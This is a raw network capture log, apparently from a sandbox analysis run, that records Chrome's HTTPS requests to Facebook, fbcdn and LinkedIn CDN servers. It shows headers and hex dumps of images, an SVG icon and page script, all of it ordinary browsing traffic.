2024-04-11 20:35:34 UTC	659	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Tue, 22 Jun 2021 14:15:25 GMT X-Needle-Checksum: 4004775040 thrift_fmhk: GBDNkIoYHae2nT/z9CguystHFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=2131342531 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 2490
2024-04-11 20:35:34 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:34 UTC	2489	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 63 30 31 30 30 30 30 32 38 30 32 30 30 30 30 66 35 30 32 30 30 30 30 33 37 30 33 30 30 30 30 38 37 30 33 30 30 30 30 32 33 30 35 30 30 30 30 39 39 30 36 30 30 30 30 31 33 30 37 30 30 30 30 36 32 30 37 30 30 30 30 62 38 30 37 30 30 30 30 62 61 30 39 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6c01000028020000f5020000370300008703000023050000990600001307000062070000b8070000ba090000C%# , #&')*)-0-(0%()(C(((((((((((((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49967	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	368	OUT	GET /ajax/bulk-route-definitions/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1119	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding Set-Cookie: fr=0NqpAIrXcNFAcNEy2..BmGEmW..AAA.0.0.BmGEmW.AWUK-u5q2Y4; expires=Wed, 10-Jul-2024 20:35:34 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=None reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:34 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:34 UTC	1383	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:34 UTC	2560	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 63 6f 6e 66 69 67 76 65 72 73 69 6f 6e 3d 22 41 63 4a 57 38 6c 62 57 6d 6f 7a 55 2d 54 36 4d 78 79 56 34 37 44 38 61 58 33 79 51 63 45 71 57 4d 49 6a 6c 32 68 66 45 47 52 4c 78 36 79 42 4d 6c 41 59 42 67 63 48 61 4e 73 36 77 44 51 22 3b 20 65 5f 63 6c 69 65 6e 74 61 64 64 72 3d 22 41 63 4a 65 71 31 49 50 43 48 5f 4f 4a 53 59 66 50 62 57 79 33 61 44 57 4f 4f 32 36 44 56 55 6b 4d 51 7a 63 73 78 44 68 61 52 4a 58 70 63 39 53 49 61 58 46 4c 39 74 66 4b 74 69 62 43 6d 4c 43 44 65 2d 6a 32 65 6a 39 54 45 61 59 6f 69 6e 37 62 69 4a 6a 36 61 59 74 44 30 6d 58 4f 63 71 66 51 5a 6e 66 6d 52 38 52 42 56 70 51 77 73 49 70 6b 67 22 3b 20 65 5f 66 62 5f Data Ascii: Proxy-Status: http_request_error; e_fb_configversion="AcJW8lbWmozU-T6MxyV47D8aX3yQcEqWMIjl2hfEGRLx6yBMlAYBgcHaNs6wDQ"; e_clientaddr="AcJeq1IPCH_OJSYfPbWy3aDWOO26DVUkMQzcsxDhaRJXpc9SIaXFL9tfKtibCmLCDe-j2ej9TEaYoin7biJj6aYtD0mXOcqfQZnfmR8RBVpQwsIpkg"; e_fb_
2024-04-11 20:35:34 UTC	164	IN	Data Raw: 58 2d 46 42 2d 43 6f 6e 6e 65 63 74 69 6f 6e 2d 51 75 61 6c 69 74 79 3a 20 47 4f 4f 44 3b 20 71 3d 30 2e 37 2c 20 72 74 74 3d 38 33 2c 20 72 74 78 3d 30 2c 20 63 3d 31 30 2c 20 6d 73 73 3d 31 32 37 37 2c 20 74 62 77 3d 33 34 30 35 2c 20 74 70 3d 2d 31 2c 20 74 70 6c 3d 2d 31 2c 20 75 70 6c 61 74 3d 39 38 2c 20 75 6c 6c 61 74 3d 30 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=10, mss=1277, tbw=3405, tp=-1, tpl=-1, uplat=98, ullat=0Alt-Svc: h3=":443"; ma=86400Connection: close
2024-04-11 20:35:34 UTC	1336	IN	Data Raw: 64 35 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 34 35 39 5a 4d 57 73 30 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 Data Ascii: d5c8<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="459ZMWs0">function envFlush(a){function b(b){for(var c in a)b[c]=a
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 68 61 6e 64 68 65 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 6e 6f 79 64 69 72 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 Data Ascii: en and (max-width: 640px)" href="https://www.facebook.com/ajax/bulk-route-definitions/" /><link rel="alternate" media="handheld" href="https://www.facebook.com/ajax/bulk-route-definitions/" /><meta name="robots" content="noodp,noydir" /><meta property="og
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 39 33 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 34 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 34 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 37 37 34 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 38 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 Data Ascii: 935":{"result":false,"hash":null},"20939":{"result":true,"hash":null},"20940":{"result":false,"hash":null},"21043":{"result":false,"hash":null},"7742":{"result":false,"hash":null},"20836":{"result":false,"hash":null},"20936":{"result":false,"hash":null},"
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 30 38 38 38 36 22 2c 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 35 22 2c 5b 22 52 75 6e 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 52 75 6e 42 6c 75 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 36 36 39 22 2c 5b 22 44 61 74 61 53 74 6f 72 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 44 61 74 61 53 74 6f 72 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 2c 5b 5d 2c 7b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 3a 22 39 73 52 65 39 6c 39 68 55 37 58 33 4e Data Ascii: "__rc":[null,null]},-1],["cr:708886",["EventProfilerImpl"],{"__rc":["EventProfilerImpl",null]},-1],["cr:135",["RunBlue"],{"__rc":["RunBlue",null]},-1],["cr:6669",["DataStore"],{"__rc":["DataStore",null]},-1],["ServerNonce",[],{"ServerNonce":"9sRe9l9hU7X3N
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 46 72 6f 6d 54 69 65 72 22 3a 31 30 30 2c 22 68 79 70 53 74 65 70 34 22 3a 66 61 6c 73 65 2c 22 70 68 64 4f 6e 22 3a 66 61 6c 73 65 2c 22 62 74 43 75 74 6f 66 66 49 6e 64 65 78 22 3a 32 32 39 31 2c 22 66 61 73 74 50 61 74 68 46 6f 72 41 6c 72 65 61 64 79 52 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 65 61 72 6c 79 52 65 71 75 69 72 65 4c 61 7a 79 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 54 69 6d 65 6f 75 74 4c 6f 67 67 69 6e 67 46 6f 72 4e 6f 6e 43 6f 6d 65 74 22 3a 66 61 6c 73 65 2c 22 64 65 66 65 72 4c 6f 6e 67 54 61 69 6c 4d 61 6e 69 66 65 73 74 22 3a 74 72 75 65 2c 22 6c 61 7a 79 53 6f 54 22 3a 66 61 6c 73 65 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 69 65 73 22 3a 5b 32 30 30 2c 35 30 30 5d 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 Data Ascii: FromTier":100,"hypStep4":false,"phdOn":false,"btCutoffIndex":2291,"fastPathForAlreadyRequired":true,"earlyRequireLazy":false,"enableTimeoutLoggingForNonComet":false,"deferLongTailManifest":true,"lazySoT":false,"translationRetries":[200,500],"translationRe
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 3a 22 41 56 6f 70 79 68 77 75 55 75 34 22 7d 2c 33 32 33 5d 2c 5b 22 53 69 74 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 36 31 30 31 2c 22 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 31 37 39 32 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 38 32 34 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 6d 61 6e 69 66 65 73 74 5f 62 61 73 65 5f 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 22 2c 22 6d 61 6e 69 66 65 73 74 5f 6f 72 69 Data Ascii: :"AVopyhwuUu4"},323],["SiteData",[],{"server_revision":1012716101,"client_revision":1012711792,"push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19824.BP:DEFAULT.2.0..0.0","pr":1,"manifest_base_uri":"https:\/\/static.xx.fbcdn.net","manifest_ori

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49972	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	607	OUT	GET /v/t39.30808-6/434870218_983385669853053_7084942549234442441_n.jpg?stp=c71.0.154.154a_dst-jpg_p296x100&_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=RTXaj_w3vwoAb6kPsRj&_nc_ht=scontent-lga3-2.xx&oh=00_AfCQ7eirRa68wVAi87YynW35JG6CvA-jaOYBsttAH2mJyg&oe=661E2C6B HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	659	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Thu, 11 Apr 2024 12:25:02 GMT X-Needle-Checksum: 3124605448 thrift_fmhk: GBBSam7HvhXbOe/ARSngcXg3FfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1700657529 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=84, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 5961
2024-04-11 20:35:34 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:34 UTC	5960	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 64 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 82 98 00 02 00 00 00 41 00 00 00 1a 00 00 00 00 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 72 6e 6c 2f 53 68 75 74 74 65 72 73 74 6f 63 6b 2e 20 20 4e 6f 20 75 73 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 2e 00 00 ff e1 01 a6 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 58 4d 50 20 43 6f 72 65 20 34 2e 34 2e 30 2d 45 78 69 76 32 22 3e 0a 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 Data Ascii: JFIFdExifMM*ACopyright (c) 2012 rnl/Shutterstock. No use without permission.http://ns.adobe.com/xap/1.0/<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49974	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	607	OUT	GET /v/t39.30808-6/434158334_977196440471976_8409536769003539760_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=F5QkQOJQfhkAb6D7Riq&_nc_ht=scontent-lga3-2.xx&oh=00_AfC1SaC6emiNkyNgQpAp-a0Z1byMhjig28kkstzT0Gimsw&oe=661E0829 HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	658	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 01 Apr 2024 18:24:21 GMT X-Needle-Checksum: 543654369 thrift_fmhk: GBAzSAZsiiSFJT+tKFDxHqsLFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1147673940 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=87, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 9052
2024-04-11 20:35:34 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:34 UTC	9051	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 36 65 30 33 30 30 30 30 61 33 30 37 30 30 30 30 35 37 30 38 30 30 30 30 33 37 30 39 30 30 30 30 64 66 30 65 30 30 30 30 63 36 31 35 30 30 30 30 34 33 31 36 30 30 30 30 31 30 31 37 30 30 30 30 66 31 31 37 30 30 30 30 35 63 32 33 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f0100006e030000a30700005708000037090000df0e0000c61500004316000010170000f11700005c230000C%# , #&')*)-0-(0%()(C(((((((((((((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49958	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	584	OUT	GET /aero-v1/sc/h/adzjokfylbe8pvjr9h8iv96mw HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.linkedin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1064	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307096 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Tue, 14 Feb 2023 00:42:44 GMT Server: ECAcc (nyd/D10F) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 271 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=7.0433645E-4; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 00061590987f0e6fd3de3e45eda8a13c X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJh/Dm/T3j5F7aihPA== Content-Length: 271 Connection: close
2024-04-11 20:35:34 UTC	271	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 69 64 3d 22 63 6c 6f 73 65 2d 73 6d 61 6c 6c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 20 64 61 74 61 2d 73 75 70 70 6f 72 74 65 64 2d 64 70 73 3d 22 31 36 78 31 36 22 20 66 69 6c 6c 3d 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 3e 0a 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 20 33 2e 34 31 4c 39 2e 34 31 20 38 20 31 34 20 31 32 2e 35 39 20 31 32 2e 35 39 20 31 34 20 38 20 39 2e 34 31 20 33 2e 34 31 20 31 34 20 32 20 31 32 2e 35 39 20 36 2e 35 39 20 38 20 32 20 33 2e 34 31 20 33 2e 34 31 20 32 20 38 20 36 2e 35 39 20 31 32 2e Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" id="close-small" aria-hidden="true" role="none" data-supported-dps="16x16" fill="currentColor"> <path d="M14 3.41L9.41 8 14 12.59 12.59 14 8 9.41 3.41 14 2 12.59 6.59 8 2 3.41 3.41 2 8 6.59 12.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49968	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
